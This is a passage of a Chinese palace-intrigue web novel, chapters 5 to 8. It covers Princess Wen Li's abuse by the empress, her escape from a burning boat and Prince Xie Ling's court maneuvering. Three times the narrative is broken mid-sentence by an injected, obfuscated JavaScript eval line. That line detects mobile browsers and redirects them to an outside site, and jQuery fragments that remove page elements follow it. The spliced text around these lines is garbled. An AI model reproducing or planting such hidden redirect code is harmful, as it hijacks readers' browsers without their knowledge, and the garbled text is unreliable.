谢陵没再说话,算是默认了商晏的做法,但不知为何,心里总还是闷闷的,有点透不过气,脑海中不合时宜浮现一句话。 还请王爷莫要失约。 5. 第五章 一个月后。 王家后宅,几位年轻的族中小姐聚在园中品琴斗诗,欢声笑语不断,几个回合下来,不善诗书的王萝玉回回垫底,索性将笔一搁,耍赖着说不如比谁爬树快。 王二姑娘掩唇一笑,打趣道:“五妹妹明年便要及笄,怎还跟顽童一般爬树?倘若让未来的五妹夫知晓,只怕要笑妹妹是个皮猴儿!” 王萝玉满不在乎道:“那正好,让他早早认清娶了个皮猴儿,就不会逼着皮猴儿学规矩了。” 此言一出,几位姐妹笑得前仰后翻,王二姑娘笑过一阵后,有意无意将话头引到王若楚身上,半酸半感慨道:“还是三妹妹命好,过不了几日便要成为临王妃,又与临王殿下是自幼的情谊,想来成亲后必会爱护三妹妹。” 廊下盛开的绿萝藤下,正伏案作画的紫衣姑娘蓦地红了耳根,稍不注意,一滴墨晕在纸上,毁了这副即将完工的园景图。 王二姑娘笑着赔罪:“是我的不是,明知三妹妹脸皮薄,不该打趣妹妹,好好的画,就此毁了多可惜。” 顾不得羞恼,王若楚连忙搁下画笔,欲想法子弥补这点失误,几位堂姐妹也围过来,叽叽喳喳指手画脚,各自提出自己的办法。 当王若楚再次提笔,却迟迟没落定,不是因为修补难,而是她的心思早随着二姐姐那句“爱护”飞到九霄云外。 与谢家哥哥的亲事是昨日订下的,直到现在,王若楚还有种飘然虚妄的不真实感,简直就像一场梦,她思念了十年的谢家哥哥竟然回来娶她了。 原以为此生与谢家哥哥再难相见,从不敢想,有朝一日,她还能成为谢家哥哥的妻,万般心绪涌上心头,喜悦的同时,王若楚心中也带着点忐忑,因为从前那件事,谢家哥哥还会像小时候那般待她吗? “小姐,老爷唤您去一趟书房。” 王若楚的思绪被身边丫鬟打断,望着纸上已经干涸的墨迹,她摇摇头,说这画补不了,起身朝众姐妹们告辞,往前院走去。 待王若楚一走,其余人也都没了继续玩乐的心思,尤其是王二姑娘,自从得知临王想与王家结亲,便存了与王若楚争一争的念头,只可惜自己的父亲不是王家家主,这桩婚事落不到自己头上。 王二姑娘走来王萝玉身旁,装作若无其事提起:“五妹妹已经许久没出府玩耍了吧?” 王萝玉毫无城府回道:“是呀,快闷死我了,我爹不让我出去逛。” 王二姑娘指指王若楚走远的身影:“你跟着三妹妹,不就能出去了?听说那位临王殿下,经常邀三妹妹出府玩呢。” 王萝玉的眼睛在发光。 —— 昨夜,王谢两家联姻的消息传进宫中,意识到自己被摆了一道的沈皇后,在凤栖宫发了好一通脾气,命宫人即刻把闻梨带来。 这是闻梨第二次踏进沈皇后的起居殿,幽冷的夜风顺着长廊吹来,灯影摇晃,夜色蒙昧,让人几乎看不清脚下的路。 这里与她第一次来没什么区别,一样的假山流水,一样的摆设布局,唯一不同的,她再也不会天真地认为,只要自己乖乖听话,沈皇后就会心慈手软。 闻梨被宫人们带上来时,寝宫的地面一片狼藉,满是被砸碎的花瓶、瓷器,不等闻梨上前行礼,便被身后一太监踹跪在地。 碎瓷片扎进小腿,疼得闻梨跪不直身子。 沈皇后气得脸色铁青,怒骂道:“没用的东西,竟敢拿这什物来欺骗本宫。”说着,她用力地将玉佩砸闻梨脸上。 闻梨没有躲开,生生挨了一下,低头看,原来是她从谢陵身上偷来的那块玉。 沈皇后气得口不择言:“你与你娘那个贱人别无二致,知道你娘进宫前是什么人吗?青楼的风尘女子,你怎么没学到你娘半点勾引男人的本事?连个男人的心都笼络不住!” 听到这里,闻梨已然明白了沈皇后为何发怒,想必是谢陵没有遵守那日的约定,闻梨捡起玉佩,心中并不觉失望,从一开始她就没把全部希望寄予在谢陵身上,与被辜负比起来,她更乐意瞧见沈皇后发疯的样子,她抬起头,平静地与沈皇后对视。 沈皇后的愤怒与恨意,就像往潭水里扔了颗石子,没有任何回应,这种被漠视的感觉与皇帝看自己的眼神如出一辙,很容易挑动起沈皇后那根脆弱的心弦,一时忘掉作为皇后的端庄与素养。 沈皇后走下台阶,手里还握着根金簪,闻梨一眼认出,那金簪是亡母的遗物,她那原本平静似一滩死水的眼眸忽而泛起涟漪。 “别以为本宫不知道,你一直藏着那贱人的遗物,你很想念她对吧?”沈皇后用力将金簪扎进闻梨指缝间,声音扭曲可怖:“你母亲的簪子扎你疼吗?真是可笑,你不过是个被她遗弃的棋子,念着她做什么?” 闻梨忍着痛,绝不让自己掉一滴眼泪,忍了十年之久,最终还是落得一个死,横竖是死,不妨在死前让自己痛快一下。 闻梨张嘴,朝着沈皇后的手腕用力咬下去,夺回亡母的金簪,随着一声剧烈的惨痛声,寝殿顿时乱成一锅粥。 闻梨想起了幼时养过的一只乌龟,外表看着慢吞吞,可一旦有天敌来犯,便咬死不松口。 有人用板凳砸她的背,想逼着她松口,她咬得更狠了,又有人拿烛滴烫她的脸,口中涌出一股血腥味,哪怕被打得头晕眼花,也还是不松口。 直至被一盆花砸晕了脑袋,闻梨才彻底失去了意识。 不知过了多久,当闻梨再次醒来,四周黑漆漆的,唯有身上各处的疼痛感提醒她,自己还活着,没有一口气死掉,她还真有些失望。 腹中饥饿难忍,黑暗中,闻梨听见老鼠在吱吱叫,她想挪动下身子,以免老鼠误会她死了,跑来啃食她的脚趾。 费了半天劲儿,闻梨才找回身子的知觉,蜷缩在角落。 没多久门开了,晃眼的日光照进来的一刹那,她几乎双目失明,适应了好一会儿,终于看清了来人,是凤栖宫的宫女。 小宫女手中提着药盒,一声不吭过来给闻梨涂药。 闻梨顺从接受,已全然不在乎药里是否有毒,只是愣愣地望着门外的日光,也许往后再也瞧不见了。 很快,小宫女替闻梨上好了伤药,离开前,几乎是有些于心不忍,回头好意提醒道:“娘娘说,今日便要把公主送到邑王府上。” 世人皆知邑王沉湎酒色,是个暴虐的好色之徒,从邑王府抬出来的尸首少说也有数百具,但因其手握兵权,连皇帝都无可奈何,只下令不许邑王祸害良家女,至于那些无名无份的可怜贱籍女子,只能白白枉死。 此外,邑王还是闻梨的亲叔父。 说完,小宫女把门给锁上了。 闻梨眼前再次陷入黑暗。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178232|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 与此同时,云湖河畔却又是另一番天地,日头西照,杨柳岸堤上,行人络绎不绝,各类小摊贩摆了一溜,叫卖声此起彼伏,与车马声汇成一片。 临王府的马车在热闹的街市中徐徐穿行,最终在一处码头边停靠,王若楚与王萝玉刚下马车,便瞧见浮在河岸边的华丽画舫,舫檐的灯笼上皆贴了“临”字。 很快便有临王府的奴仆迎王若楚上船。 进门前,王萝玉很识趣地松开堂姐的手,悄声道:“我就不进去打扰二位了,还请堂姐替我向未来的堂姐夫问声好!” 王若楚尚未来得及阻拦,堂妹已经朝甲板上跑没影了,她便只好自己登上了二楼,心跳得越来越快,视野慢慢抬高,在瞧见那抹高挑欣长的背影时,心口不自觉颤了一下。 “王爷。”她朝他欠身行礼。 谢陵回过头,狭长的眼眸被那道斜晖映染得绯红,给本就俊逸的脸添了几分肃杀之气,再加上他那副与生俱来的淡漠神情,令人不寒而栗,换了寻常女子,定然不敢轻易接近他。 “来了。”他的语气平淡而疏离。 王若楚的心口没由来地酸涩了一下,明知感情是急不来的,但还是会忍不住失望,她鼓起勇气走到谢陵身边,与他并肩看湖面尽头的群山。 “谢家哥哥可还记得小时候,我们两家人时常一起游湖,那时候船小,你紧紧拉着我的手,生怕我掉进水里。” 谢陵默然不语。 望着波澜起伏的湖面,王若楚的心也好似被风吹乱,酝酿许久,她不安地开了口,想要寻求一个确切的回答。 “谢家哥哥是否还在介怀我父亲当年对谢家见死不救?其实父亲这些年一直在后悔……” 谢陵冷冷打断道:“往事不必再提,我既已决定娶你,便不会计较从前之事。” 王若楚抿紧唇,目光投向远处,没再说话。 甲板上,王萝玉远远瞧着二楼长廊上那对天造地设的身影,露出了心满意足的笑容,一时没留神撞到一个人。 “抱歉,冒犯姑娘了。” 身后传来一道清朗如玉的嗓音,王萝玉错愕回头,映入眼帘的是男子清俊温暖的笑容,白衣胜雪,清瘦如竹,连江上吹来的风也跟着沁人心扉。 王萝玉愣在原地,迟迟没挪开视线。 “姑娘没事吧?”男子又问。 王萝玉连连晃着脑袋:“我、我没事。” “那就好,今夜风大,船行时不太稳,姑娘当心。”商晏说罢,便仓促离去,径直上了二楼。 “殿下可否借一步说话?”商晏朝谢陵问道。 谢陵点头,跟着商晏来到内间。 “据探子来报,傍晚时分,从宫里驶出来一辆可疑的马车,我们的人找机会偷看了一眼,车内坐着的人是闻梨公主,还被绑了起来。” 谢陵骤然变了脸色,声音隐约有几分怒气:“公主现在人在何处?为何不一早来报?” 商晏解释道:“我们的人怕跟丢,一时腾不出手,说来也巧,那马车来的方向刚好是云湖,闻梨公主此刻,应该已经被送上的那艘船。” 谢陵顺着商晏手指的方向望去,另一艘精美的楼船正缓缓驶离对岸,那楼船的幡帜上赫然写着‘邑’字。 谢陵毫不迟疑拎起长剑,纵身一跃跳进水里,朝邑王的船游去。 6. 第六章 “什么人?胆敢擅闯邑王的地盘?”船上巡守的侍卫看到有人从水里上船,举起刀冲过去。 走前面的侍卫瞬间被谢陵抹断脖子,另一个见势不妙,扔刀想逃,却被谢陵抓住了后衣领,一脚踹跪在地上。 “邑王在哪?带我去见他。” 寒森森的声音从背后传来,侍卫不敢回头看那位凶神恶煞的“活阎王”,求饶道:“别别、别杀我,这就带您去。” 正当此时,船楼上爆发一阵不小的动静,不少人衣不蔽体从船屋里跑出来,神情惊恐万状,边跑边喊失火了,一时间,救火的与逃命的撞了个满怀,拉扯不开,场面极度混乱。 谢陵一剑将跪着的侍卫也杀了,一跃而起,避开拥挤的人堆,径直跳到了楼上,四处寻找闻梨的身影。 天色已经全黑,湖面刮来的风势头极盛,整艘船都陷进火海中,外头寻不见闻梨,谢陵便捂住口鼻,往火势更凶猛的船屋走去。 屋中浓烟翻滚,火苗窜得极快,桌椅木架东倒西歪,碗碟茶盏散落一地,梁柱随时有倒塌的可能。 再往里走,谢陵先瞧见了地上横躺着的男尸,面部被某种锐利的兵器划得不堪入目,胸口及下身更是血肉模糊,鲜血淋漓。 血迹蔓延至里间的窗边,少女抱膝坐在破碎的窗前,脸上有淤青,眼圈通红,眼泪似断线的珠子,一颗一颗从脸颊滚落。 少女手中攥着根带血的金簪,身上的衣服被血水浸透,两只脚踝皆戴了铜锁,伤口触目惊心,不知她费了多大力气,才将那锁链弄断。 脚下是一盏被踢翻的烛台,火便是从那里烧起的,还好她坐在风口,火势向后延申,暂时没有烧到她身上。 不知怎的,谢陵忽然想起幼时随父亲去宫中赴宴,曾跪在人群中遥遥见过闻梨一次,那时候的她,尚有双亲陪伴在侧,穿着身鹅黄色蝴蝶裙,青涩稚嫩的小肉脸上扑闪着一双清灵动人的眼眸,正好奇地打量着阶下的臣子们。 也许一直被封在过往中的人,不止他一个。 “公主?”谢陵试着唤了闻梨一声。 闻梨没回应,对谢陵的到来置若罔闻,夜风吹落她脸上的泪珠,她痴痴望着远处的群山,想象着有辆马车带着她离开玉京,去往更远的地方。 “对不起,我来晚了,跟我走吧。”谢陵朝她伸手。 闻梨终于望向谢陵,眼中满是悲凄和绝望:“我母妃逃出宫的时候,带了金银首饰,带了虎符,带了皇兄,唯独把我扔下了,她明明回头看我了,为什么还要把我扔在皇宫,任由我自生自灭?” 砰的一声响,旁边木柱被燃炸了,骤然倒下,横挡在二人中间,窜出一道高高的火墙,没等谢陵搬开木柱,窗边的身影一跃而下,坠进深不见底湖中。 临死前,没什么值得珍惜的记忆浮在闻梨眼前,湖水淹没她的口鼻,最后是双眼,她瞧见夜空依旧平静,星辰交替闪烁,明月光亮如初,今夜过后,一切照旧,不会有人在意她的离开,也不会有人替她感到难过。 江水猛地灌进五脏六腑,疼痛难忍,闻梨连挣扎的欲望都没有,有鱼从她手掌心游过,想捏一下鱼尾巴,却扑了个空,好可惜,连最后一点乐趣也没有了。 吐尽最后一点气,闻梨闭上眼,等待死亡的来临。 下一瞬,方才扑空的手忽而被人稳稳牵住,闻梨茫然睁眼,在水面之下,又对上那双冷厉的眼眸,紧接着,腰间一紧,男子冷冷的唇贴了上来,渡了不少气给她。 闻梨推不动眼前人,精疲力竭的她累得昏睡过去。 谢陵将闻梨抱上岸,探了探怀中人鼻息,见人还活着,终于松了一口气。 商晏、陆回以及长随风浅等人,早已在岸边等候多时,四下围观的人群也已被遣散。 谢陵接过风浅递来的披风,先披在了闻梨身上,随后将她抱上马车,隔着车帘,他朝马车外的陆回吩咐道:“邑王船上的人,不要放过一个活口。” 陆回领命去办。 商晏上前追问道:“殿下有没有对邑王动手?邑王死了吗?” 谢陵沉默片刻,道:“邑王已经被我杀了,劳烦军师帮我善后,我先带公主回王府疗伤。” 商晏也愣了一瞬,道:“殿下何必客气,本就是我应该做的。” 马车渐渐驶离码头。 码头的另一侧,王若楚仍在风里站着,方才在船上,见谢家哥哥脸色阴沉,拎着剑头也不回地走了,她的心中甚是担心,再然后又瞧见有楼船失火,愈发挂念谢家哥哥的安危。 旁边的王萝玉安慰道:“堂姐放心,堂姐夫武艺超群,定然不会有事的。” 商晏注意到她二人,走过来道:“二位姑娘请先回府,殿下去救火了,一时半会儿回不来。” 王若楚不甚放心:“可否让我在这里等王爷?我不会给你们添乱的。” 王萝玉趁此机会,又偷偷打量了商晏好几眼。 商晏刚想再劝,京兆府赶来救火的衙役们,抬着一具具烧得焦黑的尸首出来,王若楚吓得花容失色,直躲在堂妹身后。 商晏转身叫来临王府的奴仆,吩咐道:“务必将两位小姐安全送到王宅。”说罢,朝王若楚二人告辞便走了。 王萝玉也劝道:“堂姐还是听那位公子的话吧。” 王若楚见状,便只好跟着奴仆们离开此地。 * 两日后,邑王身死的消息传遍朝野,民间百姓对邑王的死拍手称快,扬言作恶多端自有老天收,朝中则呈截然相反的态度,不少官员私下跟邑王有人情来往,邑王自己也有一部分拥护者,在这些人的推波助澜下,皇帝不得不派人严查此案。 谢陵这几日称病未出,对朝局的掌握皆在来自商晏的分析,“军师以为,皇帝会派谁审理此案?” 商晏思忖道:“皇帝不喜邑王拥兵自大,早有将其除掉的心思,但朝堂上无皇帝可信之人,眼下邑王已死,倘若必须选一位,要么是殿下,要么是刑部尚书张文。鉴于殿下对京中事务暂不熟悉,想来皇帝会命殿下为主审,刑部尚书从旁协助。” 未及片刻,任命谢陵为邑王案主审的圣旨果真到了,与宣旨太监一同前来的,还有一位二十出头的年轻官员。 待太监宣读完圣旨,年轻官员上前自报家门,“下官刑部侍郎沈迟见过王爷。” 商晏低声在屏风后提醒:“殿下,此人是沈国公之子,也是沈皇后的侄子,需谨慎应对。” 谢陵了然于心,望着台阶下的沈迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178233|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,道:“不知沈侍郎找本王有何要事?” 沈迟侧身,给谢陵引荐了一个人,“下官听闻王爷身子不适,特请来太医院院首为王爷诊治。” 谢陵回绝道:“不必了,本王府上有随行的军医,不劳沈侍郎挂心。” 沈迟闻言,让太医退下了,又道:“下官另有一件事按例要询问王爷,邑王死的那晚,王爷也在云湖游船,可曾注意到有什么异常?亦或者瞧见什么人逃跑?” “本王当时与未婚妻在一起,并未瞧见什么异常。”谢陵说罢,又道:“沈侍郎此话何意?有什么人从船上逃走吗?” 沈迟不紧不慢答道:“下官从皇后娘娘那里得知,邑王死亡当晚,闻梨公主曾受邀去游船赴宴,但船上和湖里皆未找到公主,下官怀疑公主还活着,可能是整艘船上唯一的活口,若想查清此案,须得先找到闻梨公主的下落。” 谢陵沉默不语。 沈迟离开后,商晏从屏风后走出来,道:“此人不简单,年纪轻轻便坐上刑部侍郎的位置,京城十大悬案被他破了八桩,若真要与我们为敌,只怕于殿下不利。闻梨公主的事,殿下作何打算?那晚真的是殿下杀了邑王吗?” 商晏定定望向谢陵,相处那么多年,商晏太过了解谢陵的性子,倘若人真是他杀的,方才被沈迟盘问时,便不会露出那副担忧的神情。 谢陵眉间有些烦躁之意,“我去瞧瞧人醒了没。” 闻梨昏睡的这几日一直住在谢陵的寝房,因为没有侍女,便由谢陵照顾着,房中弥漫着淡淡的药香,谢陵打湿巾帕,替闻梨擦了擦手心的汗。 闻梨不知何时醒来,幽幽盯着床边的人,虚弱问道:“王爷为何要救我?” 谢陵握住她冰凉细腻的手,心中如释重负,面上情绪却不显露,“公主还真是贵人多忘事,不是说过要一生一世侍奉本王吗?” 闻梨嗯了一声,“我没忘记,要给王爷当狗。” 谢陵:“……” 隔了好一会儿,他又听到闻梨闷闷道:“我闯了大祸,把邑王杀了,本来是想同归于尽的,但现在我不想死了。” 闻梨边说着,边挪过来,脸贴着谢陵的手背,她的眼睛泪汪汪的,鼻尖也红红的,唇色黯淡,声音有气无力,却还强撑着精神,亲昵地去蹭他的手,“我已经是王爷的人了,王爷帮帮我,处理掉那个大麻烦。” 谢陵用指腹轻轻摩挲着闻梨的脸,本就消瘦的脸,经过一场大病后,更没剩下几两肉,视线往下挪,寝衣大了整整一圈,露出半截削瘦的肩骨。 她实在太瘦了,谢陵在心底盘算着该怎么把她养起来,这般柔软的人儿,要圆润润的才好摸。 谢陵将视线落回她的脸上,“公主在此安心养身子,外边的事情交给我来做。” 谢陵前脚刚走,闻梨便如同换了个人,收起那副讨好人的姿态,冷静思考该如何从这里逃出去。 既然上天赐她再活一次的机会,她不想做笼中的金丝雀,变成别人召之即来挥之即去的玩物。 谢陵出门后,朝风浅吩咐道:“倘若她要什么,吃什么,一应要求都尽量满足她,她想做什么便让她做,唯有一点,看紧她,不许她逃出王府。” 风浅低声应是。 7. 第七章 在王府将养了十来日,闻梨身上的伤好得差不多了。头几天里,谢陵每日过来送祛疤膏,身边没有侍女,闻梨便只能红着脸脱掉衣裳,趴在榻上,任他替自己涂抹着伤药。 他的手每次触摸到她的肌肤,掌心烫得厉害,闻梨的耳根也随之发烫,好在他尚有几分良心,没有趁她病弱之时索取,要不然她真怀疑自己会累死在床边。 经过几日的相处,闻梨看出来了,谢陵在某方面还算克制守礼,只要自己不主动亲近他,他便一副正人君子的姿态,神情冷似冰霜,仿佛拒人千里之外。 倘若不是那日中药的缘故,他很难会失控到那种程度吧? 谢陵收起药膏,用湿帕子擦了擦手,“明天我要出门,膳房的殷三娘会来替你涂药,除了后背,其余地方你自己能涂吧?” 闻梨忙穿好衣裳,试探问:“王爷明天一整日都不在府中?” 谢陵转过脸来,狭眸轻眯,将她望住,“有一些麻烦事要处理,公主有什么事吗?” ‘麻烦’二字被他咬得极重。 闻梨自知理亏,心虚移开视线,转念又想了想,临王毕竟在替她解决麻烦,还给的甜头不能少。 于是她光着脚下榻,来到谢陵跟前,才发现他的身量颇高,而且身姿还端得很正,若非他主动低头,自己还真难亲到他。 闻梨踮起脚,双手扶在谢陵胳膊上借力,才勉强亲到他的唇角,给完甜头,她松手欲退,却不料腰间覆来一股力,她被他抱在怀里,被迫抬起头与他对视。 谢陵薄唇轻勾:“就这么点报答?可能不太够。” 他的目光逐渐下挪,落在她的唇上,彼此呼吸近在咫尺。 闻梨伸手挡住他的唇,别过脸去,羞恼道:“等王爷回来再报答也不迟。” 谢陵不语,将闻梨拦腰抱起,径直往床边走去。 “王爷!青天白日的,别这样,要不先洗个澡?”闻梨慌了,用力挣扎,但奈何他力气实在大,挣脱不开。 谢陵却将闻梨一放,眼中带着点戏虐的笑:“公主脑子里在想什么?青天白日洗澡做什么?地上凉,我担心公主受凉而已。” 闻梨彻底被他惹恼了,一股脑钻进被窝,用枕头捂着脸,不想再搭理谢陵一个字。 隔天,谢陵果然没来替她上药,来人是个四十来岁的女子,皮肤晒得有些,身形倒很结实,性子豪爽,却粗中有细,替闻梨上药时动作甚是仔细耐心。 “姑娘唤我三娘便可。”殷三娘笑道。 显然,谢陵并未告诉殷三娘闻梨的真实身份。 殷三娘整日在膳房干活,身边尽是些粗手笨脚的臭男人,好不容易遇到个能聊点家常里短的小姑娘,便如话匣子说了半天。 大部分是在北漠打仗时趣事。 “那年谢小将军才十六,一个人带着五百骑兵摸到北齐驻扎在亡虎山的大营,捣毁齐军的火药武器,还烧了他们的粮食,一战成名啊!” “还有谢小将军十八那年的冬天,带人在龙脊山巡山时,意外遇上北齐援军,又是以少敌多,断了齐军的粮食供给。” “哎,本该早点升迁的,不知道为什么,每次的立功册上都没有谢小将军的名字,这次总算是熬出来了,还封了异姓王,响当当的名头啊!” 闻梨好奇道:“是因为那件事吗?听说他屠了北齐两座城池?城里的人都死了吗?” 殷三娘神色一紧,又蹙紧了眉头,“具体怎么回事,我也不知道,说旁人屠城我信,但我家将军绝不可能做出那种事,姑娘与我家将军相处便知,他是个极好的人,就是不善言辞。” 闻梨没觉得谢陵不善言辞,相反还挺能讥讽人,他老是说话呛她来着。 殷三娘的话题又扯回王府的里里外外,“咱们王府冷清得很,就东边住着个陆参将,北面住着商军师,南面是军医的药堂。” 闻梨又问:“你们王府其他地方也没有丫鬟吗?” 殷三娘笑道:“将军用不惯外头的人,全都是从北漠带来的汉子,等王家姑娘嫁过来,我们王府里就热闹了!” 闻梨一愣:“王家姑娘?” 殷三娘一时嘴快,意识到自己说错了话,毕竟将军没说过眼前这位姑娘是何身份,但从将军的态度来看,似乎还挺看重她。 别是将军骗了人家姑娘? 殷三娘瞧闻梨的眼神顿时变得心疼,架不住心里的折磨,还是选择告诉闻梨。 “我家将军再过一个半月便要娶王家姑娘过门,姑娘你不知道这件事?” 闻梨恍惚了一阵,心道原来谢陵是有婚约之人,而自己却为了一己私欲,与谢陵不清不楚,心底顿觉惭愧。 难怪沈皇后那天如此动怒,想来是知道谢陵不可能娶她,才急着将她送到邑王那里。 眼见闻梨的情绪变得失落,殷三娘心道,果然是自家将军欺负小姑娘,无可奈何叹了声气:“姑娘别灰心,将军的心里是有姑娘的,要不要在王府园子里散散心?” 有机会出去?闻梨眼前一亮,“那便劳烦三娘陪我认认路。” * 皇宫正德殿内,日光透过窗柩照在深色地砖上,反射而来的光,在空旷而富丽的大殿内呈现某种绚烂的光晕,晋祐帝端坐在金銮御座之上,目光如炬,审视着台阶下站着的几位臣子。 晋祐帝的声音沉而缓,透着不容置疑的威严之势:“如此说来,邑王的死只是意外?” 刑部尚书张文答道:“回陛下,邑王的尸首被烧焦了,仵作查验过,身上没有别的伤口,故而应是死于大火,另外事发当天,风大火势猛烈,整艘船上的人没一个活口也不奇怪。再有就是……先前称瞧见闻梨公主上船的人,前夜里自尽而亡。城中湖里都找遍了,皆无闻梨公主的身影,微臣怀疑,公主当天并未在船上。” 晋祐帝道:“众卿家闹得满城皆知,命案水落石出,现下可满意了?” 晋祐帝问的是曾经以邑王为首的几个老臣。 老臣们心中惶恐,纷纷跪地,不敢多言。 沈迟此刻却站出来:“陛下,臣有事启奏。” 晋祐帝眉宇间隐有不耐烦之色:“准奏。” 沈迟:“臣认为邑王案不能如此草率结案,尸首焦黑如炭,连邑王妃都无法辨认,不能确定该尸首就是邑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178234|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王,此外闻梨公主下落不明,是否上了船无人可知,此案疑点重重,还望陛下三思。” 谢陵站出来道:“陛下,臣有一言要问问沈侍郎。” 晋祐帝允诺了。 谢陵看向沈迟:“敢问沈侍郎,是如何得知闻梨公主当夜在邑王船上的消息?” 沈迟一怔,当着皇帝的面,他不好替姑母隐瞒,坦诚道:“是皇后娘娘告诉下官的,皇后娘娘说闻梨公主顽劣,私逃出宫,去了邑王那里。” 谢陵又问:“那么,自称见到闻梨公主上船的人是宫里人还是宫外人?见到的时辰是哪一刻?” 沈迟:“是个宫外人,大概在酉时。” 谢陵道:“沈侍郎不觉得奇怪吗?从未出过宫的公主,不带侍卫与侍女,自己偷跑去找叔父,她是如何认得路的?怎么恰好就找到了正在船上寻欢作乐的邑王?还恰好被人看见,酉时天色将黑,那人如何确定自己没认错人?” 沈迟说不出话来,这些事情他也曾想过,心里有种直觉告诉他,此事跟姑母有关,倘若不查清楚,他寝食难安。 晋祐帝出言道:“够了,邑王案到此为止,无事都退下吧。” 谢陵没走,待殿中人离去,他跪下道:“微臣向陛下请罪。” 晋祐帝:“卿何罪之有?” 谢陵:“回陛下,闻梨公主此刻在臣的府上。” 晋祐帝深沉的眼中闪过一道晦暗的光,淡漠的表情终于有所松动,冷声问:“究竟是怎么一回事?她当真跟邑王有牵连?” 与此同时,闻梨跟着殷三娘在临王府转了转,果然如殷三娘所言,王府很大,却没住多少人,东面和北面的陆参将与军师没见着。 南面的军医倒是见到了,年龄约莫在四十岁左右,但脾气古怪,不喜与人打交道,蹲在药田不知在忙活什么,闻梨匆匆看了一眼,便随着殷三娘离开南院。 二人又绕回了主院。 闻梨朝殷三娘道谢:“多谢三娘陪我逛园子,三娘还有别的事做,我就不打扰了。” 殷三娘乐呵呵道:“姑娘想开了就好,晚膳想吃什么?三娘给你做。” 待殷三娘回去后,闻梨快步朝着南院走去,方才她注意到药堂侧面有道门,有两个杂役打扮的青年架着一辆板车从门里进来,板车上似乎装了不少药材。 临王府的人,不论是奴仆还是护卫,皆是从过军的人,闻梨一眼瞧出那两个杂役并非王府的人,想必卸货后还会回去。 等闻梨来到药堂,果然见板车还停在墙边,墙的另一侧,两个杂役正等着总管拿银子,趁此机会,闻梨爬到板车上,用草席将自己遮住。 她的心砰砰跳个不停,扭头一瞧,却与药田里的那个人对上了视线,糟糕,被发现了! 但出乎意料的是,那人居然只是看了一眼,没说什么,又低头研究药田,彷佛没瞧见闻梨的举动。 还真是个怪人! 没过多久,杂役领了银子,回来推起板车,欢欢喜喜往门外去了,丝毫没察觉草席下藏了个人。 闻梨一动不动躺着,觉得很不可思议,自己竟然就这么逃出来了? 8. 第八章 望着愤怒至极的晋祐帝,谢陵斟酌道:“臣不知皇后娘娘与邑王是否有牵连,但皇后娘娘利用公主拉拢朝臣已然不是第一次,半月前的春日宴上,闻梨公主便被皇后娘娘送到臣的房间,臣罪该万死,喝醉了酒,没认出是闻梨公主。” 晋祐帝面含怒气,闭着眼不知在想些什么。 谢陵继续道:“就在臣给叔父写信,表达臣想娶闻梨公主的意愿之际,皇后娘娘见拉拢臣无望,便又把公主送到邑王身边,若非那日臣凑巧在附近,救下落水的公主,公主此刻恐怕已经沉进了云湖深底,为皇家名声考虑,臣才擅自做主将闻梨公主带回府中,一切待陛下决断。” 晋祐帝的神情依旧阴郁,“你说想娶闻梨,你不是刚与王家订亲?” 谢陵道:“陛下有所不知,臣与王家的婚事,早在臣父亲在世时便定下了,虽略有波折,但臣想尽孝道,完成父亲的遗愿。” 晋祐帝沉吟不语,想让谢陵知难而退,过了好一会儿才道:“让朕瞧瞧你想娶公主的决心,你若扛得住五十鞭,朕再考虑是否将公主赐予你。” “臣遵旨。”谢陵起身去领罚。 晋祐帝气得拂袖将案几上的物件全摔了,怒骂道:“她果然当朕是死人!春日宴前给朕下药,害得朕病了两日,现在不顾廉耻,将朕的女儿送去他人床榻,临王也就算了,邑王是朕的亲兄弟,她怎么做得出来?” 晋祐帝越说越气,猛地吐了口血,瘫坐在龙椅上,胸口剧烈起伏。 永忠公公急忙过来给晋祐帝拍胸捶背:“哎呦,陛下莫要再动怒,气坏了身子可不好。” 晋祐帝喘着气,手气得发抖,“朕绝不让她得逞,朕要废她后位……咳咳咳。” 永忠公公的手没停过,“陛下息怒啊,如今东宫太子把持着大半江山,朝中可用之人甚少,废后怕是行不通啊。” 晋祐帝拍开永忠公公的手,“那你说,朕该怎么办?让那个疯女人继续给朕下毒?” 永忠公公跪地:“奴才哪敢妄议朝政,再说奴才也不懂这些。” 晋祐帝气得一脚踹开永忠公公,永忠公公自个又爬起来跪好,正当此时,有小太监进来递折子,是户部来的文书,说查出国库被邑王挪了大半去建庄园,库中所剩银两刨去正常开支,已经匀不出钱财来修建陵墓,下个月便要停工了。 前些年因为国家征战无数,国库一直很紧张,晋祐帝为自己修陵墓之事一拖再拖,这几年,他的身子愈发不好,应对朝堂之事力不从心,大权逐渐旁落东宫。 